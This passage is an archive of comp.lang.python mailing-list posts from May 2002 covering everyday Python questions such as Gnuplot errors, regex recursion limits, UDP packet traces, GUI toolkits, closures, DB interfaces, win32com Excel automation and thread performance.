not so clear-cut. Some believe that it leads to less readable > code. Others (such as myself) view it as essential for supporting the > Uniform Access Principle. Usually I'll leave the parentheses off of a > method call if it takes no arguments, which allows me to switch > between using a variable and using a method more easily. I also find > it easier to read in such cases. I find empty parentheses() as you > find in C++, Java, and Python rather ugly (a "call" statement in > disguise, as it were), although at least in Python and C++ they are > actually an overridable operator, whereas in Java they are just > gratuitous syntax. FYI, recent versions of Python also support the "Uniform Access Principle" via "properties" (like Delphi and, now, C#). Not sure which version of Python introduced this, but it's a nifty little enhancement, IMO. From jrandom at mddd.com Mon May 13 00:40:12 2002 From: jrandom at mddd.com (J. Random Hacker) Date: Mon, 13 May 2002 00:40:12 -0400 Subject: idle and the devil References: <abji97$q7q$1@newsreader1.netway.at> <uwuuaa1o1.fsf@cs.unc.edu> <abk55p$787$1@newsreader1.netway.at> Message-ID: <TqHD8.103754$m26.84074@atlpnn01.usenetserver.com> On Sat, 11 May 2002 19:15:18 -0400, Siegfried Gonzi wrote: > Yes, actually I do have a wheel mouse. My first thought was also that I > press a button by accident (especially on an alien laptop keyboard), but > I could not verify it. But your experience with the wheel sounds very > interesting. > > Did you abandon your wheel mouse? Or is there just an option to cure > the problem (any setting)? You need to install a patch for Windows. There are a few to choose from. Search google for "Linux" and "BSD". > > > Thanks, > Siegfried Gonzi From marfadeu at gmx.de Sat May 4 05:42:01 2002 From: marfadeu at gmx.de (Markus Faust) Date: Sat, 4 May 2002 11:42:01 +0200 Subject: problems when trying to run Gnuplot.py (Gnuplot-1.5) under Python 2.2.1 Message-ID: <ab0afm$qej$07$1@news.t-online.com> Hi, I'm encountering problems when trying to run Gnuplot.py (Gnuplot-1.5) under Python 2.2.1 on a Windows NT 4.0 system. What could be wrong? Error message: >python demo.py demo.py:40: SyntaxWarning: import * only allowed at module level def demo(): Traceback (most recent call last): File "demo.py", line 36, in ? import funcutils File "funcutils.py", line 29, in ? import Gnuplot, utils ImportError: No module named Gnuplot system: Python 2.2.1 (#34, Apr 9 2002, 19:34:33) [MSC 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. G N U P L O T MS-Windows 32 bit version 3.7 patchlevel 1 last modified Fri Oct 22 18:00:00 BST 1999 Markus From robline at purdue.edu Mon May 6 11:22:56 2002 From: robline at purdue.edu (Rob Lineberger) Date: 6 May 2002 08:22:56 -0700 Subject: Trying to use "Programming Python" (Lutz), getting module errors. References: <84773476.0205052134.8c1d533@posting.google.com> <6c92a8bc.0205060225.46b1c6c9@posting.google.com> Message-ID: <84773476.0205060722.6f377f52@posting.google.com> > > I would recommand you start learning Python by reading "Learning > Python" (also by Mark Lutz & David Ascher), not "Programming Python" > ... :) Sorry, it was late and I was befuddled. I am indeed using the book "Learning Python". > However if you put your spam.py in C:\Python22\Lib then typing 'import > spam' inside Pythonwin / IDLE should work ... Then I am stumped. This is what I did (From memory, so if my code is wrong please refer to the book). Page 12 says something like: >>>> print "Hello World!" Did so and it printed Hello World!. Then the book says to open a text editor and create a module, for example myfile.py looks like this: title="A Fish Called Wanda" I created the above file and saved it as myfile.py into the C:\Python22\Lib directory. I went to said directory and confirmed it was there. double clicked it and a black DOS window flashed briefly on the screen. Then I opened pythonwin and typed: >>>> import myfile.py Got an error that read something like this: "No such module exists" Thanks again for any light you can shed. From gritsch at iue.tuwien.ac.at Sat May 25 13:00:59 2002 From: gritsch at iue.tuwien.ac.at (Markus Gritsch) Date: Sat, 25 May 2002 19:00:59 +0200 Subject: Regular Expression: maximum recursion limit exceeded Message-ID: <001101c2040d$c20fda60$0101a8c0@frodo> Hi! I think I discovered a limitation of the "new" Regular Expression engine. I have put together an example which shows the behavior at http://stud4.tuwien.ac.at/~e9326522/temporary/re_bug_example.zip (69kB) When the script is run with Python 1.5.2 by invoking psmergeNS.py *.ps everything is fine and it produces a merged output file containing both PostScript files. When using Python 2.x the following Exception is raised: Traceback (most recent call last): File "psmergeNS4.py", line 35, in ? pages = theRE.findall(contents) RuntimeError: maximum recursion limit exceeded This behavior is the same with the Linux and the Win32 version of Python. Any hints? Markus From dieter at handshake.de Sun May 12 06:42:07 2002 From: dieter at handshake.de (Dieter Maurer) Date: 12 May 2002 12:42:07 +0200 Subject: python dustribution on Suse 8.0 References: <JGzC8.2479$48.199592@zwoll1.home.nl> Message-ID: <x7znz53aww.fsf@linux.local> "vincent wehren" <v.wehren at home.nl> writes on Thu, 9 May 2002 21:15:36 +0200: > Does ayone have experience with the distribution of Python on Suse 8.0? > I there really no IDLE available o at least on of the 7 (!) install CD's ? > If so, what is the best way to get IDLE up and running, especially since > the Tkinter distrubution from Suse 8.0 gives me somewhat of a headache! My experience with the Python distribution in SuSE 7.3 was: best to forget about it. It turned out to be about 40 per cent slower than one compiled from sources (12 k PyStones rather than 17.5 k). Additional python related packages (e.g. LDAP) have been old. If you need it for daily operation, build you own versions. Dieter From mbg at apama.com Tue May 21 13:07:01 2002 From: mbg at apama.com (Moray B. Grieve) Date: Tue, 21 May 2002 18:07:01 +0100 Subject: gnuplot.py IOError when writing to pgnuplot stdin pipe Message-ID: <7CD4BE0203A91845A17CE0E8BD9A1289092D2F@UKCAMMS002.msapama.apama.com> I'm using gp371win32 on Windows2000. When I try to run the demo.py module I get the following Traceback (most recent call last): File "C:\Python22\lib\site-packages\Pythonwin\pywin\framework\scriptutils.py", line 301, in RunScript exec codeObject in __main__.__dict__ File "C:\Python22\Lib\site-packages\Gnuplot\demo.py", line 130, in ? demo() File "C:\Python22\Lib\site-packages\Gnuplot\demo.py", line 56, in demo g.reset() File "C:\Python22\lib\site-packages\Gnuplot\_Gnuplot.py", line 361, in reset self('reset') File "C:\Python22\lib\site-packages\Gnuplot\_Gnuplot.py", line 205, in __call__ self.gnuplot(s) File "C:\Python22\lib\site-packages\Gnuplot\gp_win32.py", line 119, in __call__ self.write(s + '\n') IOError: [Errno 22] Invalid argument The problem lies in writing to the stdin of the pgnuplot.exe, via a win32 pipe. If I do stdin = win32pipe.popen("pgnuplot", "w") stdin.write("reset") the same exception is thrown. Can anyone shed any light on what is happening? With many thanks, Moray Grieve From pfortin at pfortin.com Sun May 26 00:18:03 2002 From: pfortin at pfortin.com (Pierre Fortin) Date: Sun, 26 May 2002 00:18:03 -0400 Subject: socket sends unexpected extra word in UDP packet References: <20020525170124.3b2d7755.pfortin@pfortin.com> <Xns9219EFDB88947cliechtigmxnet@62.2.16.82> <20020525181034.42ffddb0.pfortin@pfortin.com> <Xns921AEE6F6D7Fcliechtigmxnet@62.2.16.82> Message-ID: <20020526001803.467966e6.pfortin@pfortin.com> Chris, Scratch this thread... the more I dig, the more it looks like RH7.2 contains a buggy ethereal... all packets (previously hidden by filters) exhibit this trait... :^P Sorry for the intrusion. Pierre On 26 May 2002 01:25:52 +0200 Chris Liechti <cliechti at gmx.net> wrote: > Pierre Fortin <pfortin at pfortin.com> wrote in > news:20020525181034.42ffddb0.pfortin at pfortin.com: > > On 25 May 2002 23:32:42 +0200 Chris Liechti <cliechti at gmx.net> wrote: > >> Pierre Fortin <pfortin at pfortin.com> wrote in > >> news:20020525170124.3b2d7755.pfortin at pfortin.com: > >> > I created a simple UDP script which does not work with some remote > >> > hosts... the only difference I can find is that the packet start > >> > looks like this: > >> > > >> > MACdst, MACsrc, 0x0000, 0x0800, 0x45... > >> > ^^^^^^ This is extra. > >> > > >> > Some systems seem to ignore the extra 0x0000; but my customer's > >> > server doesn't... At this point, I don't > >> > know precisely what OS the server is running. > >> > > >> > I can have a fix tested if someone has a patch... I'm not > >> > comfortable with the socketmodule.c source; but I'm hunting for the > >> > bug in the meanwhile... > >> > >> it would help when you could post some small script that shows you > >> problem. not many people will come up with their own test script but > >> if you post one many people could verify your results and code and > >> give you some specific advice (or even guess the unknown OS :-). > > > > Sorry... I assumed that the problem was a generic bug... the script > > sends fine from my Mandrake8.2 system (I'm in NC, USA); but sends the > > extra 0x0000 from a RedHat7.2 system (in India)... > > > > Besides, s.sendto() does not give the user access to those parts of > > the packet; just the target host/port and the data payload... not an > > excuse for not including, just my thinking... :^) > > these extra bytes seem to be in the ethernet level. thats a problem of > the OS and not of python. > > do you capture the frames from india localy there or at your place? when > The user in India runs ethereal while running the script. > you capture those frames on you local net from outside, then it could be > > your router that causes the problem (as ethernet level info does not > leave your local network, only IP level and above) No router involved... this is trace of packet leaving on local NIC. > > The following script sends correctly from my system; I'll have it > > tried in India... > > > > #!/usr/bin/env python > > import socket > > s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) > > s.sendto("Hello World",('1.2.3.4',1234)) > > > > Sends: > > > > 0000 00 20 78 c9 e1 1a 00 01 02 e8 d8 8d*08 00 45 00 > > 0010 00 27 00 00 40 00 40 11 74 b4 c0 a8 01 64 01 02 > > 0020 03 04 80 7f 04 d2 00 13 62 96 48 65 6c 6c 6f 20 > > 0030 57 6f 72 6c 64 > > grr, copy&paste does not work in the hex view of ethereal on win32 :-( > but i get the same (except the MACs of course) Select with left-mouse, paste with middle-mouse... oh yeah! probably no middle-mouse on W*... :^) > > On the RedHat7.2 system, Python 2.2.1 was not included (1.5.2), so it > > was built from the tarball. That system gives this on every packet of > > the production script (won't know the results of the above test script > > for a day or two...): > > > > 0000 00 04 00 01 00 06 00 02 44 16 3a 46 00 00 08 00 > > 0010 45 00 .... ^^^^^ > > that should be the type, if its an Ethernet II frame but the 802.3 > Ethernet has a length field there (at least when i interpret this page: > > http://www.rware.demon.co.uk/ethernet.htm) Right... notice the type (0800), IPv4 (4) and length (5) are all shifted right... > looks to me as if there were a problem with the ethernet protocol > version > > > [Aside: if you're wondering about the weird dst MAC address, ethereal > > replaces it with: > > Linux cooked capture > > Packet type: Sent by us (4) > > Link-layer address type: 1 > > Link-layer address length: 6 > >] Pierre From starx at pacbell.net Fri May 17 07:01:32 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 17 May 2002 11:01:32 GMT Subject: pygtk vs. wxPython References: <3CE4E081.10908@thomas-guettler.de> Message-ID: <Xns92112919A2B41RASXnewsDFE1@130.133.1.4> Thomas Guettler || Fri 17 May 2002 03:50:41a: > Hi! > > I investigated during the last weeks which is better: > +pygtk or wxpython. > > After programming some code with both libraries, I prefer > pygtk. > > I prefere pygtk because wxpython has an extra layer in > the library stack: > > wxpython -- wxwindows -- wxgtk -- gtk > > pygtk -- gtk I've never used pygtk, but i'll just mention that the library stacks on windows would look something like: wxpython -- wxwindows -- win32api pygtk -- gtk -- win32api Which is a bit more even. Also, aren't there other render-modules for wx under linux than the gtk one? It's been a while since i played with it, so I'm not really sure anymore-- all i remeber is that wx itself was a gigantic pain to build at the time (or was it the python part that failed... :\ ). I really don't know if it's appropriate to base this decision on how many libraries it takes for you to use the toolkit though... -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From ods at fep.ru Tue May 28 05:56:30 2002 From: ods at fep.ru (Denis S. Otkidach) Date: Tue, 28 May 2002 13:56:30 +0400 (MSD) Subject: Namespace problem In-Reply-To: <Pine.GSO.4.05.10205281716320.11422-100000@sparc41> Message-ID: <Pine.LNX.4.44L.0205281352220.1585-100000@ods.pp.ru> On Tue, 28 May 2002, Geiger Ho wrote: GH> Hi all, GH> GH> Consider: GH> GH> File1.py: GH> --------- GH> import File2 GH> import File3 GH> GH> class A: GH> def __init__(self): GH> self.b = File2.B() GH> self.c = File3.C() self.c = File3.C(weakref.proxy(self)) GH> def run(): GH> pass GH> GH> if __name__ == '__main__': GH> a = A() GH> a.run() GH> GH> GH> File2.py: GH> --------- GH> class B: GH> def foo(self): GH> pass GH> GH> File3.py: GH> --------- GH> class C: def __init__(self, a): self.a = a GH> def fun(self): GH> # a method need to callback a.b.foo() GH> # how can I implement self.a.b.foo() GH> Question: GH> How should I call the a.b.foo() in the fun method? C instance know nothing about a. You should import a from __main__ (I guess it's a bad idea) or initialize C with a. From martin at v.loewis.de Thu May 9 13:48:17 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 09 May 2002 19:48:17 +0200 Subject: change a string conditional References: <udlaulccmpa3f5@news.supernews.com> Message-ID: <m3d6w5p5zy.fsf@mira.informatik.hu-berlin.de> "obantec support" <spam at nomail.net> writes: > I need to a piece of python code that will take a string which may or may > not begin with www and change it to lists. > > eg. www.domain.com becomes lists.domain.com > but if domain1.com (no www) the it still becomes lists.domain1.com > > an example of a pattern match will be enough.(I do a bit of perl but never > done any python) The simplest approach is the startswith method: def inject_lists(host): if host.startswith("www."): host = host[4:] return "lists."+host print inject_lists("www.domain.com") print inject_lists("domain.com") The other two items needed are "string slicing": host[4:] returns the tail string of host, starting with the fourth character, and string concatenation (which is spelled as "+"). HTH, Martin From pereira at cis.upenn.edu Tue May 21 16:16:19 2002 From: pereira at cis.upenn.edu (Fernando Pereira) Date: Tue, 21 May 2002 16:16:19 -0400 Subject: Ann: Stackless Limbo Dancing Works Fine! References: <B90D45DB.A63E%pereira@cis.upenn.edu> <mailman.1021881098.25873.python-list@python.org> <uehs49703hdj03@corp.supernews.com> <mailman.1021922078.11067.python-list@python.org> <ueji35ihipuee3@corp.supernews.com> Message-ID: <B9102353.A917%pereira@cis.upenn.edu> On 5/21/02 12:07 AM, in article ueji35ihipuee3 at corp.supernews.com, "Andrew Henshaw" <andrew.henshaw at mail.com> wrote: > An Occam channel is very simple and was implemented efficiently in the > Transputer's microcode. I suspect that having only a single transmitting > process and a single receiving process simplifies that task. As I said > before, I believe that this holds for CSP also. I can't find my CSP book, but from memory I don't think this is correct. Through || (PAR), it is possible for several concurrent processes to attempt to read or to write on the same channel. Then the channel implementation needs a queue to hold all the blocked processes until a complementary event occurs, at which point one of the pending requests is matched to the event and the blocked process becomes runable. > The main difference > between CSP and Occam channels is the ability of an ALT-type construct to > know whether a receiving process on the other end of a channel is ready to > receive (called an output guard, IIRC). In Occam, if you're a transmitting > process, you can't simply check whether a receiver is ready to go; you have > to commit to your send and then the communication either completes or you > block. The critical difference is not any ALT-type construct, but the fact that the same channel can be shared among multiple concurrent readers and writers. BTW, you might find useful some of the materials on JCSP http://www.cs.ukc.ac.uk/projects/ofa/jcsp/ -- F From brueckd at tbye.com Mon May 6 18:29:11 2002 From: brueckd at tbye.com (brueckd at tbye.com) Date: Mon, 6 May 2002 15:29:11 -0700 (PDT) Subject: streaming audio In-Reply-To: <1020718853.25762.7.camel@orion.zoism.org> Message-ID: <Pine.LNX.4.44.0205061502280.2854-100000@ns0.tbye.com> On 7 May 2002, Rob Brown-Bayliss wrote: > On Tue, 2002-05-07 at 02:30, brueckd at tbye.com wrote: > > > If possible, avoid actual streaming protocols as they are quite convoluted > > and proprietary. As long as the client end of the connection supports it > > and you have a fast enough connection (and you do since you're using a > > LAN), a simple progressive download is the way to go. > > Yes, A simple download would work fine, and if thats all I wanted I > would use XMMS or a similar app plugged into a decent amplifier. > > But I want to be able to create "streams" on the server that can be > connected to from any room, eg: a party stream and have all rooms > playing the same sound in sync. Unfortunately, even with a true audio stream they will all be a little out of sync no matter what you do (within reason); it's just a matter of how far out of sync is acceptable. I'm sure you can get really close with a software solution, but emitting a radio signal / running a cable will always be more in sync. ;-) > So I belive I need some way of checking,I guess I could have all clients > communicate with the server to make sure they start each song at the > same time then just download from the server? That might come close, but instead of syncing the play of the songs, you'd be syncing the request-buffer-and-then-play of the songs, so you still might end up with clients off by a second. If you have/write a client plugin to your music player to receive multicast packets that would be one approach (you're not going to have reliability problems on a LAN unless you have other apps chewing up lots of bandwidth). If you want to avoid client-side work then you can just have your server round-robin send the latest "chunk" of audio data to each HTTP connection and as connections are added they'll need a short file header and then they too can just start playing whatever data comes across the wire. All this is great stuff if you're looking for an interesting project that'll end up being useful, but if you're mostly interested in getting it done then I'd imagine that there are some pre-built, non-Python, open source solutions out there that'd be easier (heck, you could even get by with any old LAN voice conferencing software that lets you crank the quality up sufficiently high). -Dave From python at tykebsd.net Fri May 17 07:55:02 2002 From: python at tykebsd.net (Dave Moor) Date: 17 May 2002 04:55:02 -0700 Subject: Gadfly-1.0rc1 Errors Message-ID: <1bf96e7f.0205170355.c90e919@posting.google.com> Hi I've just downloaded Gadfly from http://gadfly.sourceforge.net (the only place I could find it. Its docs suggest the first step in the installation should be running the test scripts (c:\temp\python run_tests) which should complete with no errors. Well I got errors, I'm running ActiveStates Python 2.1.1 on Win2k. The test script produces the following > D:\downloads\python\gadfly-1.0.0rc1>python run_tests > not running kjbuckets C module test > ......................EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.... > ====================================================================== > ERROR: testDistinct (test.test_gadfly.test_Gadfly) > ---------------------------------------------------------------------- > Traceback (most recent call last): > File "test\test_gadfly.py", line 11, in setUp > shutil.rmtree('_test_dir') > File "D:\Python21\lib\shutil.py", line 128, in rmtree > raise exc[0], (exc[1][0], exc[1][1] + ' removing '+cmd[1]) > OSError: [Errno 13] Permission denied removing _test_dir\test.gfl The error repeat for 40 tests, but its always caused by shutil.rmtree. The install worked OK, should I worry about the tests failing? Dave From andy47 at halfcooked.com Fri May 24 00:27:52 2002 From: andy47 at halfcooked.com (Andy Todd) Date: Fri, 24 May 2002 04:27:52 +0000 (UTC) Subject: python-friendly web hosts: buyer beware References: <Xns921761E866B7Drobuselesspythoncom@24.28.95.158> <dc6f5c99.0205231510.7df65605@posting.google.com> Message-ID: <Xns921893061DAC0andy47halfcookedcom@203.109.252.31> grahamd at dscpl.com.au (Graham Dumpleton) wrote in news:dc6f5c99.0205231510.7df65605 at posting.google.com: > Rob Andrews <rob[nospam]@uselesspython.com> wrote in message news: <Xns921761E866B7Drobuselesspythoncom at 24.28.95.158>... >> >> (http://valueweb.net/products/enterprise_hosting.html proudly advertises >> Python as an "Advanced Feature" of their $299.00/month Enterprise Hosting >> package.) > > For that amount of money, you would be much better going to iServer (now > part of viaVerio). From about a third of that price you get your own > virtual host to which you can telnet/ssh and get full UNIX shell access > to do what you want. This includes being able to set up your own email > accounts, manage your own HTTP server configuration as well as being able > to install a whole host of different prebuilt packages as required, including > Python and Zope. They have a range of different configurations of the > Virtual Private Server type based on BSD UNIX, each giving different amounts > of disk space from 250MB up to 1.2GB. There is also no additional bandwidth > charges, just the fixed monthly fee. For details, check out: > > http://www.iserver.com > > BTW, I am a happy customer, no more. On the satisfied user front, check out Cornerhost (http://www.cornerhost.com). Amongst other redeeming features, they host Dive into Python (http://diveintopython.org) and Michal, our genial host, is currently writing an idiots guide to developing applications (in Python) for the web (http://www.webappworkshop.com). It doesn't mean you have to follow what he does, but its an indicator that they understand what their customers want. Regards, Andy -- Contents free posts a speciality From shalehperry at attbi.com Fri May 10 13:20:50 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Fri, 10 May 2002 10:20:50 -0700 (PDT) Subject: Is there such a beast as a "perfect" shuffle? :) In-Reply-To: <mhqndus5c2bd3j4khn4d4qua9vno4omdqu@4ax.com> Message-ID: <XFMail.20020510102050.shalehperry@attbi.com> On 10-May-2002 Christos Georgiou wrote: > I needed a function that, given a sequence and a number, would produce > the <number>th permutation of the sequence. I thought I once saw such a > function, but using google (web and groups) couldn't find it, so I wrote > one of my own (it's at the ASPN cookbook site: > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/126037 ) > Basically, this was because I was aiming for a "perfect" shuffle of a > deck of 52 cards, so I wanted to reduce the "randomness" factor to only > one number. > I seem to remember reading an article linked off of slashdot where they go into the dynamics of shuffling cards and how to ensure a full spread of possibilities. There may or may not be a site talking about this in the context of python, but anything they say should be relevant. From spam at bugbear.com Tue May 14 19:03:25 2002 From: spam at bugbear.com (Paul Graham) Date: 14 May 2002 16:03:25 -0700 Subject: how to write function that returns function Message-ID: <4f52f844.0205141503.40000c50@posting.google.com> I am not a Python expert, and I'm hoping someone can tell me how in Python to write a function of one argument x that returns a function of one argument y that returns x+y. Here, in Scheme, is what I want to write: (define foo (x) (lambda (y) (+ x y))) I found on the web a page that says I could define this as follows: def addn(x): return lambda y,z=y: x+z but I don't think this is exactly the same thing, because it returns a function that takes a second optional argument. That is a substantial difference. If the Scheme function is inadvertently called (e.g. in someone else's code) with two arguments, it would signal an error, whereas the code above would quietly give the wrong answer. I would appreciate it if someone could tell me the standard way to write this so that it returns a function of exactly one argument. Thanks! [To reply to me directly please use pg at bug<remove>bear.com, removing the <remove>, because I don't check spam at bugbear.com.] From gerhard at bigfoot.de Sat May 25 15:20:15 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 25 May 2002 19:20:15 GMT Subject: Off Topic, But List Related -- Tired of Getting Spammed Via The Python List? References: <mailman.1022342921.19946.python-list@python.org> <acofns$1fi$1@slb6.atl.mindspring.net> Message-ID: <slrnaevovf.3t7.gerhard@lilith.my-fqdn.de> Richard Biffl wrote in comp.lang.python: > Good idea using different addresses so you can trace your spam (I do the > same thing; it's a good use of a domain name). To avoid the spam in the > first place, you may want to change the address to something like > python at DONTSPAMgbronline.com. Humans will be able to see the correct > address, and the address-harvesting bots, at least the dumb ones, will be > thwarted. If you don't want to receive any email replies from your email messages, it's a much better idea to use an invalid address explicitely marked as such (the 'invalid' TLD has been reserved for this purpose): richard.biffl at no.email.replies.invalid ^^^^^^^ If you want to avoid spam and you have the necessary control over your email setup, it's a good idea to use TMDA or expire your email addresses very quickly. I've seen email addresses of this form: gerhard.haering-dated-2002-05-25 at mydomain.com ^^^^^^^^^^^^^^^^ I'm not sure what software is used to create and expire these email adresses, but it looks neat to me, while also not confusing either users or MTAs. Gerhard -- mail: gerhard <at> bigfoot <dot> de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From pyth at devel.trillke.net Tue May 28 10:00:12 2002 From: pyth at devel.trillke.net (holger krekel) Date: Tue, 28 May 2002 16:00:12 +0200 Subject: Thought on PEP 204 and 276 In-Reply-To: <gm17fu40rh6r675g3a6d1ovl49tb9pd822@4ax.com>; from steve@lurking.demon.co.uk on Tue, May 28, 2002 at 02:45:30PM +0100 References: <ckp4fuc4fskjcpilnn2mrt3665fqvld92g@4ax.com> <mailman.1022528744.19859.python-list@python.org> <gm17fu40rh6r675g3a6d1ovl49tb9pd822@4ax.com> Message-ID: <20020528160012.G17248@prim.han.de> Steve Horne wrote: > On Mon, 27 May 2002 21:33:47 +0200, holger krekel > <pyth at devel.trillke.net> wrote: > > > for i,item in enumerate(somelist): > > # use item > > somelist[i]=newvalue > > Could enumerate(dictionary) be used to extract key, value pairs from a > dictionary? > > I realise this duplicates the items() method, but it has the advantage > of creating consistency between sequence and mapping types. that was precisely my argument on the python-dev list but it got rejected by GvR personally ... "Trust me. Don't go there." I realize that mapping types and sequence types are quite different despite appearances. It may not be a good idea to blur the lines between these two too much. > Also, why wasn't an items() method simply added to sequence types, > treating them as mapping types with an integer key? that would be ambivalent. calling items on a list could also mean that you are refering to the elements (no notion of enumeration). There was a long long discussion about names where 'itemize' and 'enum' were other hot candidates. In the end i think that we usually have the problem of going through a list where we sometimes want to modify it (instead of just walking over them). And 'enumerate' comes in quite naturally to me, now. It's hardly ever the case that you don't (want to) know whether some object is a mapping or a sequence type. regards, holger From hmerrill at redhat.com Wed May 15 09:39:28 2002 From: hmerrill at redhat.com (Hardy Merrill) Date: Wed, 15 May 2002 09:39:28 -0400 Subject: Newbie - does Python have DB Independent interface? Message-ID: <20020515093928.B16985@merrill.redhat.com> I come from the Perl world, and am starting to learn Python. Perl has the DBI module which is a Database Independent interface - you write programs to the DBI api, and then if you choose to change your database, your code needs to change very little, or maybe not at all. Does Python have anything similar, or must you choose your database right up front, and write all your code specific to that one database? Thanks. -- Hardy Merrill Senior Software Engineer Red Hat, Inc. From shagshag13 at yahoo.fr Wed May 22 03:51:55 2002 From: shagshag13 at yahoo.fr (Shagshag) Date: 22 May 2002 00:51:55 -0700 Subject: little question References: <Xns920A77107BBCCscorrigerwanadoofr@193.252.19.141> <4aNC8.26326$CN3.810152@news2.tin.it> <LGNC8.43060$v32.3185818@news1.west.cox.net> <409a56e2.0205130656.642acf89@posting.google.com> Message-ID: <409a56e2.0205212351.6ce4a5c6@posting.google.com> Here is the kind of code i wish i could find... As i'm still a newbie in python, comments are welcome. ----- def build_documents(): global document global invertedIndex documents = {} documents[0] = 'pease porridge hot pease porridge cold' documents[1] = 'pease porridge in the pot' documents[2] = 'nine days old' documents[3] = 'some like it hot some like it cold' documents[4] = 'some like it in the pot' documents[5] = 'nine days old' invertedIndex = InvertedIndex() for i in range(len(documents)): terms = documents[i].split() added = [] for t in terms: node = PostingListNode(i, terms.count(t)) if t not in added: invertedIndex.add(t, node) added.append(t) print print invertedIndex class PostingListNode: def __init__(self, documentID, information = None): self._documentID = documentID self._information = information def get_documentID(self): return self._documentID def get_information(self): return self._information def __str__(self): s = '(' + str(self._documentID) + ', ' + str(self._information) + ')' return s class InvertedIndex: def __init__(self): self._hash = {} self._list = [] self._container = [] self._n = 0 def add(self, element, node): try: i = self._hash[element] self._container[i].append(node) print "Adding word in node list=[%s]" % (element) except KeyError: print "Adding new word=[%s] i=[%s]" % (element, self._n) self._hash[element] = self._n self._list.append(element) self._container.append([node]) self._n = self._n + 1 def get_nodes(self, element): try: i = self._hash[element] return self._container[i] except KeyError: return None def __str__(self): s = '' for element in self._hash.keys(): i = self._hash[element] s = s + str(element) + ' ->' for n in self._container[i]: s = s + ' ' + str(n) s = s + "\n" return s From tew at wiencko.com Fri May 24 17:44:37 2002 From: tew at wiencko.com (Tom Wiencko) Date: Fri, 24 May 2002 21:44:37 +0000 Subject: win32com Excel problem References: <mailman.1022106819.24650.python-list@python.org> <3CED5B00.22303062@wiencko.com> <3CED7A52.5030804@skippinet.com.au> Message-ID: <3CEEB445.46B1D46B@wiencko.com> Certainly. Here's the class I use to open and interact with any given spreadsheet. If you are the Mark Hammond of Python Programming on Win32 then this will look very familiar: import win32com.client import win32com.client.dynamic class excelSS: def __init__(self,filename=none): self.xlApp=win32com.client.Dispatch("Excel.Application") if (filename): self.filename=filename self.xlBook=self.xlApp.Workbooks.Open(filename else: # error processing def close (self): self.xlBook.Close(SaveChanges=0) del self.xlApp # old method I don't use any more def getCell(self,row,col,sheet=None): if (sheet): sht=xlBook.Worksheets(sheet) else: #error processing return (sht.Cells(row,col).Value) # new method I use exclusively def getRange(self,row1,col1,row2,col2,sheet=None): if (sheet): sht=self.xlBook.Worksheets(sheet) else: # error processing return sht.Range(sht.Cells(row1,col1),sht.Cells(row2,col2)).Value Here's some sample processing logic (untested, but abstracted from a test program I have used): class Program: def __init__(self,file,sheet): self.ss=excelSS(file) self.sheet = sheet def getRows(self,firstrow,firstcol,numberrows,numbercols): return (self.ss.getRange(firstrow,firstcol, firstrow+numberrows,firstcol+numbercols,self.sheet)) def procCellsBROKEN(self): # this fails with alarming regularity for row in range(1,2000,100): # get rows 100 at a time for rowindex in range (0,100): # loop over rows to process for colindex in range (0,10): # loop over columns cell = self.ss.getCell(row+rowindex,colindex,self.sheet) # do something with cell def procCells(self): # this works reliably and quickly for row in range(1,2000,100): # get rows 100 at a time data = self.getRows(row,1,100,10) for rowindex in range (0,100): # loop over rows to process for colindex in range (0,10): # loop over columns cell = data[rowindex][colindex] # do something with cell Or some such. The actual code I am using has very complex processing of the resulting data, but the data access routines are virtually identical. When I was using individual cell lookups, analyzing a 2000 row 20 column sheet took about 7-10 minutes and never did complete - the program would hang about three-quarters of the way through. The exact same processing logic takes about 30 seconds when I read the cells in groups (which in my application breaks down to groups of 28 rows by 20 columns). (This was all done on a 750MHz Pentium III running Windows 98SE.) If "Python Programming on Win32" is yours, I have to thank you for a well written book without which I would not have gotten much working in the win32 world. If you ever do a second edition, however, I have a few things I would love to give you on the ODBC module description that would have saved me hours of experimenting and frustration (not errors, but simple easy interface characteristics that were really not documented anywhere). Cheers, Tom Mark Hammond wrote: > > Tom Wiencko wrote: > > > When I call xlSheet.Cells a lot, sooner or later the com interface > > locks up (I did not even get a traceback). > > Can you provide a sample to demonstrate this? > > Mark. -- ------------------------------------------------------------------------ Tom Wiencko tew at wiencko.com President - Wiencko & Associates, Inc. (404) 255-2330 Telecom Consulting & Project Development -- Wireline, Wireless, Internet From arlo.maillist at ozmaker.com Tue May 28 14:24:13 2002 From: arlo.maillist at ozmaker.com (Arlo) Date: Wed, 29 May 2002 02:24:13 +0800 Subject: About thread slow. Message-ID: <3CF3CB4D.7040305@ozmaker.com> hi all. I'm write a simple tcp socket server with Python 2.2.1 on FreeBSD 4.5. But i meet a problem about unreasonable slow in thread mode. when i change it with fork(), it works fine. this socket server is a simple per request per child( a new thread or process) the code flow is like below: Main Thread: create socket() socket.bind() socket.listen() while loop: connect = socket.accept() thread.create_new_thread( Service...) # passing client socket to Service function thread.start() Child Threads: Service function this function just use select to check if socket fd is ready recv and send the same message to client ( while client keyin "quit" ) But when i use a test script to access this tcpserver , (create 30 threads to access server) i found server create thread is slow , and when i telnet to this server , is very slow both accept my connection and response. so i just change to use fork() to create process to handle client connection. it works fine and much faster than thread mode.. I think if some functions like select and recv will block other threads cause this unreasonable slow?? or has some thing i must take care when i use thread-mode? Regards. From danielk at aracnet.com Fri May 24 08:47:24 2002 From: danielk at aracnet.com (Daniel Klein) Date: Fri, 24 May 2002 05:47:24 -0700 Subject: Very basic:How to config python2.2.1 in windows? References: <ackrh6$pjc$1@bowmore.utu.fi> Message-ID: <hgdseu09284h171ddasrpjjpu90tbbi2ri@4ax.com> Set the PYTHONPATH environment variable to a semi-colon delimited list of directories where you store your modules. Daniel Klein On Fri, 24 May 2002 10:53:10 +0300, "wangzhao_wz" <wangzhao_wz at hotmail.com> wrote: 